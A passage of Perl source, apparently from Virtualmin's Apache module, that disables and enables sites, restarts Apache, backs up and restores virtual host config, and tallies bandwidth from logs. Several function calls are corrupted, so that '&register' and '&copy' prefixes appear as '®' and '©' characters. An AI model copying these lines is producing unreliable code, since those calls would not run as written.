# Adds a directive to force all requests to show an error page
sub disable_web
{
if ($_[0]->{'alias'} && $_[0]->{'alias_mode'} == 1) {
# Just a ServerAlias in a real domain, so disabling is the same as
# deletion. Unless the parent has already been disabled, in which case
# nothing needs to be done.
local $alias = &get_domain($_[0]->{'alias'});
if ($alias->{'disabled'}) {
return 1;
}
$_[0]->{'disable_alias_web_delete'} = 1;
return &delete_web($_[0]);
}
&$first_print($text{'disable_apache'});
&require_apache();
&obtain_lock_web($_[0]);
local ($virt, $vconf) = &get_apache_virtual($_[0]->{'dom'},
$_[0]->{'web_port'});
if ($virt) {
&create_disable_directives($virt, $vconf, $_[0]);
&$second_print($text{'setup_done'});
®ister_post_action(\&restart_apache);
}
else {
&$second_print($text{'delete_noapache'});
}
&release_lock_web($_[0]);
}
# create_disable_directives(&virt, &vconf, &domain)
sub create_disable_directives
{
local ($virt, $vconf, $d) = @_;
local $tmpl = &get_template($d->{'template'});
local $conf = &apache::get_config();
if ($tmpl->{'disabled_url'} eq 'none') {
# Disable is done via local HTML
local @am = &apache::find_directive("AliasMatch", $vconf);
local $dis = &disabled_website_html($d);
&apache::save_directive("AliasMatch",
[ "^/.*\$ $dis", @am ], $vconf, $conf);
&flush_file_lines($virt->{'file'});
local $msg = $tmpl->{'disabled_web'} eq 'none' ?
"<h1>Website Disabled</h1>\n" :
join("\n", split(/\t/, $tmpl->{'disabled_web'}));
$msg = &substitute_domain_template($msg, $d);
if (&is_under_directory($d->{'home'}, $dis)) {
# Write as the domain user
&open_tempfile_as_domain_user($d, DISABLED, ">$dis");
&print_tempfile(DISABLED, $msg);
&close_tempfile_as_domain_user($d, DISABLED);
&set_permissions_as_domain_user($d, 0644, $dis);
}
else {
# Write as root
&open_lock_tempfile(DISABLED, ">$dis");
&print_tempfile(DISABLED, $msg);
&close_tempfile(DISABLED);
&set_ownership_permissions(undef, undef, 0644,
$disabled_website);
}
}
else {
# Disable is done via redirect
local @rm = &apache::find_directive("RedirectMatch", $vconf);
local $url = &substitute_domain_template($tmpl->{'disabled_url'}, $d);
&apache::save_directive("RedirectMatch",
[ "^/.*\$ $url", @rm ], $vconf, $conf);
&flush_file_lines($virt->{'file'});
}
}
# disabled_website_html(&domain, [force-new-mode])
# Returns the file for storing the disabled site file for some domain
sub disabled_website_html
{
local ($d, $mode) = @_;
&require_apache();
$mode = $apache::httpd_modules{'core'} >= 2.4 ? 1 : 0 if (!defined($mode));
if ($mode) {
# Apache 2.4+ doesn't allow use of HTML files outside the <directory>
# block for a domain
return &public_html_dir($d)."/disabled_by_virtualmin.html";
}
else {
# Any location will work for older Apache versions
if (!-d $disabled_website_dir) {
mkdir($disabled_website_dir, 0755);
&set_ownership_permissions(undef, undef,
$disabled_website_dir, 0755);
}
return "$disabled_website_dir/$d->{'id'}.html";
}
}
# enable_web(&domain)
# Deletes the special error page directive
sub enable_web
{
if ($_[0]->{'alias'} && $_[0]->{'alias_mode'} == 1) {
# Just a ServerAlias in a real domain, so enabling is the same as
# creating.
if ($_[0]->{'disable_alias_web_delete'}) {
delete($_[0]->{'disable_alias_web_delete'});
return &setup_web($_[0]);
}
return 1;
}
&$first_print($text{'enable_apache'});
&require_apache();
&obtain_lock_web($_[0]);
local ($virt, $vconf) = &get_apache_virtual($_[0]->{'dom'},
$_[0]->{'web_port'});
if ($virt) {
&remove_disable_directives($virt, $vconf, $_[0]);
&$second_print($text{'setup_done'});
®ister_post_action(\&restart_apache);
}
else {
&$second_print($text{'delete_noapache'});
}
&release_lock_web($_[0]);
}
# remove_disable_directives(&virt, &vconf, &domain)
sub remove_disable_directives
{
local ($virt, $vconf, $d) = @_;
# Remove local disables
local @am = &apache::find_directive("AliasMatch", $vconf);
local $olddis = &disabled_website_html($d, 0);
local $newdis = &disabled_website_html($d, 1);
@am = grep { $_ ne "^/.*\$ $disabled_website" &&
$_ ne "^/.*\$ $olddis" &&
$_ ne "^/.*\$ $newdis" } @am;
local $conf = &apache::get_config();
&apache::save_directive("AliasMatch", \@am, $vconf, $conf);
# Remove remote disables
local @rm = &apache::find_directive("RedirectMatch", $vconf);
@rm = grep { substr($_, 0, 5) ne "^/.*\$" } @rm;
&apache::save_directive("RedirectMatch", \@rm, $vconf, $conf);
&flush_file_lines($virt->{'file'}, undef, 1);
}
# check_web_clash(&domain, [field])
# Returns 1 if an Apache webserver already exists for some domain
sub check_web_clash
{
local $tmpl = &get_template($_[0]->{'template'});
local $web_port = $tmpl->{'web_port'} || 80;
if (!$_[1] || $_[1] eq 'dom') {
# Check for <virtualhost> clash by domain name
local ($cvirt, $cconf) = &get_apache_virtual($_[0]->{'dom'}, $web_port);
return 1 if ($cvirt);
}
if (!$_[1] || $_[1] eq 'ip') {
# Check for clash by IP and port with Webmin or Usermin
local $err = &check_webmin_port_clash($_[0], $web_port);
return $err if ($err);
}
return 0;
}
# restart_apache([restart])
# Tell Apache to re-read its config file
sub restart_apache
{
local ($restart) = @_;
&require_apache();
if ($restart && $apache::httpd_modules{'core'} >= 2.2) {
# Apache 2.2 doesn't need a full restart to open ports on new IPs
$restart = 0;
}
&$first_print($restart ? $text{'setup_webpid2'} : $text{'setup_webpid'});
if ($config{'check_apache'}) {
# Do a config check first
local $err = &apache::test_config();
if ($err) {
&$second_print(&text('setup_webfailed', "<pre>$err</pre>"));
return 0;
}
}
local $apachelock = "$module_config_directory/apache-restart";
&lock_file($apachelock);
local $pid = &get_apache_pid();
if (!$pid || !kill(0, $pid)) {
&$second_print($text{'setup_notrun'});
return 0;
}
if ($restart) {
# Totally stop and start
&apache::stop_apache();
sleep(5);
my $try = 0;
while($try < 10 && &get_apache_pid()) {
$try++; # Wait up till 10 seconds for final exit
}
&apache::start_apache();
}
else {
# Just signal a re-load
&apache::restart_apache();
}
&cleanup_php_cgi_processes() if (defined(&cleanup_php_cgi_processes));
&unlock_file($apachelock);
&$second_print($text{'setup_done'});
return 1;
}
# get_apache_log(domain-name, [port], [errorlog])
# Given a domain name, returns the path to its log file
sub get_apache_log
{
local ($dname, $port, $errorlog) = @_;
&require_apache();
local ($virt, $vconf) = &get_apache_virtual($dname, $port);
if ($virt) {
local $log;
if ($errorlog) {
# Looking for error log
$log = &apache::find_directive("ErrorLog", $vconf);
}
else {
# Looking for normal log
$log = &apache::find_directive("TransferLog", $vconf) ||
&apache::find_directive("CustomLog", $vconf);
}
return &extract_writelogs_path($log);
}
else {
return undef;
}
}
# extract_writelogs_path(log-command)
# Given a log destination, which may be input to a command, return the
# real log file path.
sub extract_writelogs_path
{
local ($log) = @_;
local $w = &apache::wsplit($log); # Extract first word
$log = $w->[0];
if ($log =~ /^\|\Q$writelogs_cmd\E\s+(\S+)\s+(\S+)/) {
# Via writelogs .. return real path
local $file = $2;
if ($file =~ /^\//) {
$log = $file;
}
else {
local $d = &get_domain_by("dom", $_[0]);
if ($d) {
$log = "$d->{'home'}/$file";
}
}
}
elsif ($log =~ /^\|/) {
# Via some program .. so we don't know where the real log is
$log = undef;
}
if ($log && $log !~ /^\//) {
# Convert to absolute path
$log = &apache::server_root($log);
}
return $log;
}
# get_apache_template_log(&domain, [errorlog])
# Returns the log file path that a domain's template would use
sub get_apache_template_log
{
local ($dom, $error) = @_;
local $tmpl = &get_template($dom->{'template'});
local @dirs = &apache_template($tmpl->{'web'}, $dom, $tmpl->{'web_suexec'});
foreach my $l (@dirs) {
if ($error && $l =~ /^\s*ErrorLog\s+(\S+)/) {
$log = $1;
}
elsif (!$error && $l =~ /^\s*(TransferLog|CustomLog)\s+(\S+)/) {
$log = $2;
}
}
if ($log !~ /^\//) {
$log = "$dom->{'home'}/$log";
}
return $log;
}
# get_apache_virtual(domain, [port], [file])
# Returns the directive for a virtual server and the list of configuration
# directives with in, for some domain
sub get_apache_virtual
{
&require_apache();
local $conf;
if ($_[2]) {
# Looking in specified file
$conf = [ &apache::get_config_file($_[2]) ];
}
else {
# Looking in global Apache config
$conf = &apache::get_config();
}
local $sp = $_[1] || $default_web_port;
foreach my $v (&apache::find_directive_struct("VirtualHost", $conf)) {
local $vp = $v->{'words'}->[0] =~ /:(\d+)$/ ? $1 : $default_web_port;
next if ($vp != $sp);
local $sn = &apache::find_directive("ServerName", $v->{'members'});
return ($v, $v->{'members'}, $conf) if (lc($sn) eq $_[0] ||
lc($sn) eq "www.$_[0]");
local $n;
foreach $n (&apache::find_directive_struct(
"ServerAlias", $v->{'members'})) {
local @lcw = map { lc($_) } @{$n->{'words'}};
return ($v, $v->{'members'}, $conf)
if (&indexof($_[0], @lcw) >= 0 ||
&indexof("www.$_[0]", @lcw) >= 0);
}
}
return ();
}
# get_apache_pid()
# Returns the Apache PID file, if it is running
sub get_apache_pid
{
&require_apache();
return &check_pid_file(&apache::get_pid_file());
}
# apache_template(text, &domain, suexec)
# Returns a suitably substituted Apache template, as a list of directive
# text lines
sub apache_template
{
local $dirs = $_[0];
$dirs =~ s/\t/\n/g;
$dirs = &substitute_domain_template($dirs, $_[1]);
local @dirs = split(/\n/, $dirs);
local ($sudir, $ppdir);
foreach (@dirs) {
$sudir++ if (/^\s*SuexecUserGroup\s/i || /^\s*User\s/i);
$ppdir++ if (/^\s*ProxyPass\s/);
}
local $tmpl = &get_template($_[1]->{'template'});
local $pdom = $_[1]->{'parent'} ? &get_domain($_[1]->{'parent'}) : $_[1];
if (!$sudir && $_[2] && $pdom->{'unix'}) {
# Automatically add suexec directives if missing
if ($apache::httpd_modules{'core'} >= 2.0) {
if ($apache::httpd_modules{'mod_suexec'}) {
unshift(@dirs, "SuexecUserGroup \"#$pdom->{'uid'}\" ".
"\"#$pdom->{'ugid'}\"");
}
}
else {
unshift(@dirs, "User \"#$pdom->{'uid'}\"",
"Group \"#$pdom->{'ugid'}\"");
}
}
if (!$ppdir && $_[1]->{'proxy_pass'}) {
# Add proxy directives
push(@dirs, &apache_proxy_directives($_[1]));
}
if ($tmpl->{'web_writelogs'}) {
# Fix any CustomLog or ErrorLog directives to write via writelogs.pl
foreach $d (@dirs) {
if ($d =~ /^\s*(CustomLog|ErrorLog)\s+(\S+)(\s*\S*)/) {
$d = "$1 \"|$writelogs_cmd $_[1]->{'id'} $2\"$3";
}
}
}
return @dirs;
}
# apache_proxy_directives(&domain)
# Returns text lines for proxy pass or frame forwarding directives
sub apache_proxy_directives
{
local ($d) = @_;
&require_apache();
local @dirs;
if ($d->{'proxy_pass_mode'} == 1) {
# Proxy to another server
push(@dirs, "ProxyPass / $d->{'proxy_pass'}",
"ProxyPassReverse / $d->{'proxy_pass'}");
if ($d->{'proxy_pass'} =~ /^https:/ &&
$apache::httpd_modules{'core'} >= 2.0) {
# SSL proxy mode
push(@dirs, "SSLProxyEngine on");
}
if ($apache::httpd_modules{'core'} >= 2.0) {
# Ensure that proxying works
push(@dirs, "<Proxy *>",
"allow from all",
"</Proxy>");
}
}
elsif ($d->{'proxy_pass_mode'} == 2) {
# Redirect to /framefwd.html
local $ff = &framefwd_file($d);
push(@dirs, "AliasMatch ^/.*\$ $ff");
}
return @dirs;
}
# backup_web(&domain, file, &opts, home-format?, incremental?, as-owner,
# &all-opts)
# Save the virtual server's Apache config as a separate file, except for
# ServerAlias lines for alias domains
sub backup_web
{
local ($d, $file, $opts, $homefmt, $increment, $asd, $allopts) = @_;
if ($d->{'alias'} && $d->{'alias_mode'}) {
# For an alias domain, just save the old ServerAlias entries
&$first_print($text{'backup_apachecp2'});
local $alias = &get_domain($d->{'alias'});
local ($pvirt, $pconf) = &get_apache_virtual($alias->{'dom'},
$alias->{'web_port'});
if (!$pvirt) {
&$second_print($text{'setup_ewebalias'});
return 0;
}
local @aliasnames;
foreach my $sa (&apache::find_directive_struct("ServerAlias", $pconf)) {
foreach my $w (@{$sa->{'words'}}) {
if ($w eq $d->{'dom'} ||
$w =~ /^([^\.]+)\.(\S+)/ && $2 eq $d->{'dom'}) {
push(@aliasnames, $w);
}
}
}
&open_tempfile_as_domain_user($d, FILE, ">$file");
foreach my $a (@aliasnames) {
&print_tempfile(FILE, $a,"\n");
}
&close_tempfile_as_domain_user($d, FILE);
&$second_print($text{'setup_done'});
return 1;
}
&$first_print($text{'backup_apachecp'});
local ($virt, $vconf) = &get_apache_virtual($d->{'dom'},
$d->{'web_port'});
if ($virt) {
local $lref = &read_file_lines($virt->{'file'});
local $l;
local @adoms = &get_domain_by("alias", $d->{'id'});
local %adoms = map { $_->{'dom'}, 1 } @adoms;
&open_tempfile_as_domain_user($d, FILE, ">$file");
foreach $l (@$lref[$virt->{'line'} .. $virt->{'eline'}]) {
if ($l =~ /^\s*ServerAlias\s+(.*)/i) {
# Exclude ServerAlias entries for alias domains
local @sa = split(/\s+/, $1);
@sa = grep { !($adoms{$_} ||
/^([^\.]+)\.(\S+)/ && $adoms{$2}) } @sa;
next if (!@sa);
$l = "ServerAlias ".join(" ", @sa);
}
&print_tempfile(FILE, "$l\n");
}
&close_tempfile_as_domain_user($d, FILE);
&$second_print($text{'setup_done'});
# If the Apache log is outside the home, back it up too
local $alog = &get_apache_log($d->{'dom'}, $d->{'web_port'});
if (!&is_under_directory($d->{'home'}, $alog) &&
!$allopts->{'dir'}->{'dirnologs'}) {
&$first_print($text{'backup_apachelog'});
my ($ok, $err) = ©_write_as_domain_user($d, $alog, $file."_alog");
local $elog = &get_apache_log($d->{'dom'},
$d->{'web_port'}, 1);
if ($ok && !&is_under_directory($d->{'home'}, $elog)) {
($ok, $err) = ©_write_as_domain_user($d, $elog, $file."_elog");
}
if ($ok) {
&$second_print($text{'setup_done'});
}
else {
&$second_print($err);
return 0;
}
}
return 1;
}
else {
&$second_print($text{'delete_noapache'});
return 0;
}
}
# restore_web(&domain, file, &options, &all-options, home-format, &olddomain)
# Update the virtual server's Apache configuration from a file. Does not
# change the actual <Virtualhost> lines!
sub restore_web
{
if ($_[0]->{'alias'} && $_[0]->{'alias_mode'}) {
# Just re-add ServerAlias entries if missing
&$first_print($text{'restore_apachecp2'});
local $alias = &get_domain($_[0]->{'alias'});
local ($pvirt, $pconf) = &get_apache_virtual($alias->{'dom'},
$alias->{'web_port'});
if (!$pvirt) {
&$second_print($text{'setup_ewebalias'});
return 0;
}
local @sa = &apache::find_directive("ServerAlias", $pconf);
local $srclref = &read_file_lines($_[1], 1);
push(@sa, @$srclref);
&unflush_file_lines($_[1]);
@sa = &unique(@sa);
&apache::save_directive("ServerAlias", \@sa, $pconf, $conf);
&flush_file_lines($pvirt->{'file'});
&$second_print($text{'setup_done'});
return 1;
}
&$first_print($text{'restore_apachecp'});
&obtain_lock_web($_[0]);
local $rv;
local ($virt, $vconf) = &get_apache_virtual($_[0]->{'dom'},
$_[0]->{'web_port'});
local $tmpl = &get_template($_[0]->{'template'});
if ($virt) {
local $srclref = &read_file_lines($_[1]);
local $dstlref = &read_file_lines($virt->{'file'});
# Extract old logging-based directives before we change them, so they
# can be restored later to match *this* system
local %lmap;
foreach $i ($virt->{'line'} .. $virt->{'line'}+scalar(@$srclref)-1) {
if ($dstlref->[$i] =~
/^\s*(CustomLog|ErrorLog|TransferLog)\s+(.*)/i) {
$lmap{lc($1)} = $2;
}
}
splice(@$dstlref, $virt->{'line'}+1, $virt->{'eline'}-$virt->{'line'}-1,
@$srclref[1 .. @$srclref-2]);
if ($_[3]->{'reuid'}) {
# Fix up any UID or GID in suexec lines
local $i;
foreach $i ($virt->{'line'} .. $virt->{'line'}+scalar(@$srclref)-1) {
if ($dstlref->[$i] =~ /^\s*SuexecUserGroup\s/) {
$dstlref->[$i] = "SuexecUserGroup \"#$_[0]->{'uid'}\" \"#$_[0]->{'ugid'}\"";
}
elsif ($dstlref->[$i] =~ /^\s*User\s/) {
$dstlref->[$i] = "User \"#$_[0]->{'uid'}\"";
}
elsif ($dstlref->[$i] =~ /^\s*Group\s/) {
$dstlref->[$i] = "Group \"#$_[0]->{'ugid'}\"";
}
}
}
if (!$tmpl->{'web_suexec'}) {
# Remove suexec directives if not supported on this server
foreach $i ($virt->{'line'} ..
$virt->{'line'}+scalar(@$srclref)-1) {
if ($dstlref->[$i] =~ /^\s*(SuexecUserGroup|User|Group)\s/) {
splice(@$dstlref, $i--, 1);
}
}
}
else {
# Fix SuexecUserGroup or User/Group directives to match
# Apache version
local ($uline, $gline, $suline);
foreach $i ($virt->{'line'} ..
$virt->{'line'}+scalar(@$srclref)-1) {
local $l = $dstlref->[$i];
$uline = $i if ($l =~ /^\s*User\s/);
$gline = $i if ($l =~ /^\s*Group\s/);
$suline = $i if ($l =~ /^\s*SuexecUserGroup\s/);
}
local $pdom = $_[0]->{'parent'} ?
&get_domain($_[0]->{'parent'}) : $_[0];
if ($apache::httpd_modules{'core'} >= 2.0 && $uline) {
# Replace User and Group with SuexecUserGroup
splice(@$dstlref, $uline, 1,
"SuexecUserGroup \"#$pdom->{'uid'}\" \"#$pdom->{'ugid'}\"");
if ($gline) {
splice(@$dstlref, $gline, 1);
}
}
elsif ($apache::httpd_modules{'core'} < 2.0 && $suline) {
# Replace SuexecUserGroup with User and Group
splice(@$dstlref, $suline, 1,
"User \"#$pdom->{'uid'}\"",
"Group \"#$pdom->{'ugid'}\"");
}
}
# Fix up any DocumentRoot or other file-related directives
if ($_[5]->{'home'} && $_[5]->{'home'} ne $_[0]->{'home'}) {
local $i;
foreach $i ($virt->{'line'} ..
$virt->{'line'}+scalar(@$srclref)-1) {
$dstlref->[$i] =~
s/\Q$_[5]->{'home'}\E/$_[0]->{'home'}/g;
}
}
# Change and CustomLog, ErrorLog or TransferLog directives to match
# this system
foreach $i ($virt->{'line'} .. $virt->{'line'}+scalar(@$srclref)-1) {
if ($dstlref->[$i] =~
/^\s*(CustomLog|ErrorLog|TransferLog)\s/i &&
$lmap{lc($1)}) {
$dstlref->[$i] = $1." ".$lmap{lc($1)};
}
}
# Fix up AuthDigestFile / AuthUserFile change between Apache 2.0 and 2.2
my ($oldn, $newn);
if ($apache::httpd_modules{'core'} >= 2.2) {
($oldn, $newn) = ('AuthDigestFile', 'AuthUserFile');
}
else {
($oldn, $newn) = ('AuthUserFile', 'AuthDigestFile');
}
local $i;
foreach $i ($virt->{'line'} .. $virt->{'line'}+scalar(@$srclref)-1) {
if ($dstlref->[$i] =~ /^\s*\Q$oldn\E\s+(.*)$/) {
$dstlref->[$i] = "$newn $1";
}
}
&flush_file_lines($virt->{'file'});
undef(@apache::get_config_cache);
# Re-generate PHP wrappers to match this system
if (defined(&create_php_wrappers) && !$_[0]->{'alias'}) {
local $mode = &get_domain_php_mode($_[0]);
&create_php_wrappers($_[0], $mode);
}
&$second_print($text{'setup_done'});
# Make sure the PHP execution mode is valid
local $mode;
if (defined(&get_domain_php_mode) && !$_[0]->{'alias'}) {
&$first_print($text{'restore_checkmode'});
$mode = &get_domain_php_mode($_[0]);
local @supp = &supported_php_modes($_[0]);
if ($mode && &indexof($mode, @supp) < 0 && @supp) {
# Need to fix
local $fix = pop(@supp);
&save_domain_php_mode($_[0], $fix);
&$second_print(&text('restore_badmode',
$text{'phpmode_short_'.$mode},
$text{'phpmode_short_'.$fix}));
}
else {
# Looks good .. but re-save anyway, to update
# compatible directives
&save_domain_php_mode($_[0], $mode);
&$second_print(&text('restore_okmode',
$text{'phpmode_short_'.$mode}));
}
}
# Correct system-specific entries in PHP config files
if (!$_[0]->{'alias'} && $_[5]) {
local $sock = &get_php_mysql_socket($_[0]);
local @fixes = (
[ "session.save_path", $_[5]->{'home'}, $_[0]->{'home'}, 1 ],
[ "upload_tmp_dir", $_[5]->{'home'}, $_[0]->{'home'}, 1 ],
);
if ($sock ne 'none') {
push(@fixes, [ "mysql.default_socket", undef, $sock ]);
}
&fix_php_ini_files($_[0], \@fixes);
}
# Fix broken PHP extension_dir directives
if (($mode eq "fcgid" || $mode eq "cgi") && !$_[0]->{'alias'}) {
&fix_php_extension_dir($_[0]);
}
# Add Require all granted directive if this system is Apache 2.4
&add_require_all_granted_directives($_[0], $_[0]->{'web_port'});
# Set new public_html and cgi-bin paths
&find_html_cgi_dirs($_[0]);
# Create empty log files if needed
&setup_apache_logs($_[0]);
# Copy back log files if they were in the backup
if (-r $_[1]."_alog") {
&$first_print($text{'restore_apachelog'});
local $alog = &get_apache_log($_[0]->{'dom'},
$_[0]->{'web_port'});
©_source_dest($_[1]."_alog", $alog);
&set_apache_log_permissions($_[0], $alog);
if (-r $_[1]."_elog") {
local $elog = &get_apache_log($_[0]->{'dom'},
$_[0]->{'web_port'}, 1);
©_source_dest($_[1]."_elog", $elog);
&set_apache_log_permissions($_[0], $elog);
}
&$second_print($text{'setup_done'});
}
# Re-link Apache logs if needed
&link_apache_logs($_[0]);
# Fix Options lines
my ($virt, $vconf, $conf) = &get_apache_virtual($_[0]->{'dom'},
$_[0]->{'web_port'});
if ($virt) {
&fix_options_directives($vconf, $conf, 0);
}
®ister_post_action(\&restart_apache);
$rv = 1;
}
else {
&$second_print($text{'delete_noapache'});
$rv = 0;
}
&release_lock_web($_[0]);
return $rv;
}
%apache_mmap = ( 'jan' => 0, 'feb' => 1, 'mar' => 2, 'apr' => 3,
'may' => 4, 'jun' => 5, 'jul' => 6, 'aug' => 7,
'sep' => 8, 'oct' => 9, 'nov' => 10, 'dec' => 11 );
# bandwidth_web(&domain, start, &bw-hash)
# Searches through log files for records after some date, and updates the
# day counters in the given hash
sub bandwidth_web
{
local @logs = ( &get_apache_log($_[0]->{'dom'}, $_[0]->{'web_port'}),
&get_apache_log($_[0]->{'dom'}, $_[0]->{'web_sslport'}) );
return if ($_[0]->{'alias'} || $_[0]->{'subdom'}); # never accounted separately
local $l;
local $max_ltime = $_[1];
foreach $l (&unique(@logs)) {
local $f;
foreach $f (&all_log_files($l, $max_ltime)) {
local $_;
if ($f =~ /\.gz$/i) {
open(LOG, "gunzip -c ".quotemeta($f)." |");
}
elsif ($f =~ /\.Z$/i) {
open(LOG, "uncompress -c ".quotemeta($f)." |");
}
else {
open(LOG, $f);
}
while(<LOG>) {
if (/^(\S+)\s+(\S+)\s+(\S+)\s+\[(\d+)\/(\S+)\/(\d+):(\d+):(\d+):(\d+)\s+(\S+)\]\s+"([^"]*)"\s+(\S+)\s+(\S+)/ && $12 ne "206") {
# Valid-looking log line .. work out the time
local $ltime = timelocal($9, $8, $7, $4, $apache_mmap{lc($5)}, $6-1900);
if ($ltime > $_[1]) {
local $day = int($ltime / (24*60*60));
$_[2]->{"web_".$day} += $13;
}
$max_ltime = $ltime if ($ltime > $max_ltime);
}
}
close(LOG);
}
}
return $max_ltime;
}
# all_log_files(file, last-date)
# Returns all compressed rotated versions of some file, excluding those
# that have not been modified since some time
sub all_log_files
{
$_[0] =~ /^(.*)\/([^\/]+)$/;
local $dir = $1;
local $base = $2;
local ($f, @rv, %mtime);
opendir(DIR, $dir);
foreach $f (readdir(DIR)) {
if ($f =~ /^\Q$base\E/ && -f "$dir/$f" && $f ne $base.".offset") {
local @st = stat("$dir/$f");
if ($f ne $base) {
next if ($_[1] && $st[9] <= $_[1]);
}
$mtime{"$dir/$f"} = $st[9];
push(@rv, "$dir/$f");
}
}
closedir(DIR);
return sort { $mtime{$a} cmp $mtime{$b} } @rv;
}
# create_framefwd_file(&domain)
# Create a framefwd.html file for a server, if needed
sub create_framefwd_file
{
if ($_[0]->{'proxy_pass_mode'} == 2) {
local $template = &get_template($_[0]->{'template'});
local $ff = &framefwd_file($_[0]);
&unlink_file($ff);
local $text = $template->{'frame'};
$text =~ s/\t/\n/g;
&open_tempfile_as_domain_user($d, FRAME, ">$ff");
local %subs = %{$_[0]};
$subs{'proxy_title'} ||= $tmpl{'owner'};
$subs{'proxy_meta'} ||= "";
$subs{'proxy_meta'} = join("\n", split(/\t/, $subs{'proxy_meta'}));
&print_tempfile(FRAME, &substitute_domain_template($text, \%subs));
&close_tempfile_as_domain_user($d, FRAME);
# Create a blank HTML page too, used in the frameset
local $bl = &frameblank_file($_[0]);
&unlink_file($bl);
&open_tempfile_as_domain_user($d, BLANK, ">$bl");
&print_tempfile(BLANK, "<body bgcolor=#ffffff></body>\n");
&close_tempfile_as_domain_user($d, BLANK);
}
}
# public_html_dir(&domain, [relative], [no-subdomain])
# Returns the HTML documents directory for a virtual server
sub public_html_dir
{
local ($d, $rel, $nosubdom) = @_;
# First check for cache in domain object
local $want = $rel ? 'public_html_dir' : 'public_html_path';
if ($d->{$want} && !$nosubdom) {
return $d->{$want};
}
if ($d->{'subdom'} && !$nosubdom) {
# Under public_html of parent domain
local $subdom = &get_domain($d->{'subdom'});
local $phtml = &public_html_dir($subdom, $rel);
if ($rel) {
return "../../$phtml/$d->{'subprefix'}";
}
else {
return "$phtml/$d->{'subprefix'}";
}
}
else {
# Under own home
local $tmpl = &get_template($d->{'template'});
local ($hdir) = ($tmpl->{'web_html_dir'} || 'public_html');
if ($hdir ne 'public_html') {
$hdir = &substitute_domain_template($hdir, $d);
}
return $rel ? $hdir : "$d->{'home'}/$hdir";
}
}
# set_public_html_dir(&domain, sub-dir)
# Sets the HTML directory for a virtual server, by updating the DocumentRoot
# and <Directory> block. Returns undef on success or an error message on
# failure.
sub set_public_html_dir
{
local ($d, $subdir) = @_;
local $p = &domain_has_website($d);
local $path = $d->{'home'}."/".$subdir;
local $oldpath = $d->{'public_html_path'};
if (-l $path) {
return "The HTML directory cannot be a symbolic link";
}
if ($p ne "web") {
my $err = &plugin_call($p, "feature_set_web_public_html_dir",
$d, $subdir);
return $err if ($err);
$d->{'public_html_dir'} = $subdir;
$d->{'public_html_path'} = $path;
return undef;
}
local @ports = ( $d->{'web_port'},
$d->{'ssl'} ? ( $d->{'web_sslport'} ) : ( ) );
foreach my $p (@ports) {
local ($virt, $vconf, $conf) = &get_apache_virtual($d->{'dom'}, $p);
next if (!$virt);
&apache::save_directive("DocumentRoot", [ $path ], $vconf, $conf);
local @dirs = &apache::find_directive_struct("Directory", $vconf);
local ($dir) = grep { $_->{'words'}->[0] eq $oldpath ||
$_->{'words'}->[0] eq $oldpath."/" } @dirs;
$dir ||= $dirs[0];
$dir || return "No existing Directory block found!";
local $olddir = { %$dir };
$dir->{'value'} = $path;
&apache::save_directive_struct($olddir, $dir, $vconf, $conf, 1);
&flush_file_lines($virt->{'file'});
}
$d->{'public_html_dir'} = $subdir;
$d->{'public_html_path'} = $path;
®ister_post_action(\&restart_apache);
return undef;
}
# cgi_bin_dir(&domain, [relative], [no-subdomain])
# Returns the CGI programs directory for a virtual server
sub cgi_bin_dir
{
local ($d, $rel, $nosubdom) = @_;
# First check for cache in domain object
local $want = $rel ? 'cgi_bin_dir' : 'cgi_bin_path';
if ($d->{$want} && !$nosubdom) {
return $d->{$want};
}
local $cdir = $d->{'cgi_bin_dir'} || "cgi-bin";
if ($d->{'subdom'} && !$nosubdom) {
# Under cgi-bin of parent domain
local $subdom = &get_domain($d->{'subdom'});
local $pcgi = &cgi_bin_dir($subdom, $rel);
return $rel ? "../../$pcgi/$d->{'subprefix'}"
: "$pcgi/$d->{'subprefix'}";
}
else {
# Under own home
return $rel ? $cdir : "$d->{'home'}/$cdir";
}
}
# framefwd_file(&domain)
sub framefwd_file
{
local $hdir = &public_html_dir($_[0]);
return "$hdir/framefwd.html";
}
# frameblank_file(&domain)
sub frameblank_file
{
local $hdir = &public_html_dir($_[0]);
return "$hdir/frameblank.html";
}
# check_depends_web(&dom)
# Ensure that a website has a home directory, if not proxying
sub check_depends_web
{
if (!$_[0]->{'parent'} && !$_[0]->{'unix'}) {
# For a non-sub-server, we need a Unix user
return $text{'setup_edepunix2'};
}
if ($_[0]->{'alias'}) {
# If this is an alias domain, then no home is needed
return undef;
}
elsif ($_[0]->{'proxy_pass_mode'} == 2) {
# If proxying using frame forwarding, a home is needed
return $_[0]->{'dir'} ? undef : $text{'setup_edepframe'};
}
elsif ($_[0]->{'proxy_pass_mode'} == 1) {
# If proxying using ProxyPass, no home is needed
return undef;
}
else {
# For a normal website, we need a home
return $_[0]->{'dir'} ? undef : $text{'setup_edepweb'};
}
}
# frame_fwd_input(forwardto)
sub frame_fwd_input
{
local $rv;
local $label;
if ($config{'proxy_pass'} == 1) {
$label = &hlink($text{'form_proxy'}, "proxypass");
}
else {
$label = &hlink($text{'form_framefwd'}, "framefwd");
}
return &ui_table_row($label,
&ui_opt_textbox("proxy", $_[0], 40,
$text{'form_plocal'}, $text{'form_purl'}), 3);
}
# setup_writelogs(&domain)
# Creates the writelogs wrapper
sub setup_writelogs
{
&foreign_require("cron", "cron-lib.pl");
&cron::create_wrapper($writelogs_cmd, $module_name, "writelogs.pl");
if (&has_command("chcon")) {
&execute_command("chcon -t httpd_sys_script_exec_t ".quotemeta($writelogs_cmd).
">/dev/null 2>&1");
&execute_command("chcon -t httpd_sys_script_exec_t ".
quotemeta("$module_root_directory/writelogs.pl").
">/dev/null 2>&1");
}
}
# enable_writelogs(&domain)
# Enables logging via a program for some server
sub enable_writelogs
{
&require_apache();
local $conf = &apache::get_config();
local @ports = ( $_[0]->{'web_port'},
$_[0]->{'ssl'} ? ( $_[0]->{'web_sslport'} ) : ( ) );
local ($p, $any);
foreach $p (@ports) {
local ($virt, $vconf) = &get_apache_virtual($_[0]->{'dom'}, $p);
local $ld;
foreach $ld ("CustomLog", "ErrorLog") {
local $custom = &apache::find_directive($ld, $vconf);
if ($custom !~ /$writelogs_cmd/ && $custom =~ /(\S+)(\s*\S*)/) {
# Fix logging directive
&$first_print($text{'save_fix'.lc($ld)});
$custom = "\"|$writelogs_cmd $_[0]->{'id'} $1\"$2";
&apache::save_directive($ld, [ $custom ],
$vconf, $conf);
&$second_print($text{'setup_done'});
$any++;
}
}
}
if ($any) {
&flush_file_lines();
®ister_post_action(\&restart_apache);
}
}
# disable_writelogs(&domain)
# Disables logging via a program for some server
sub disable_writelogs
{
&require_apache();
local $conf = &apache::get_config();
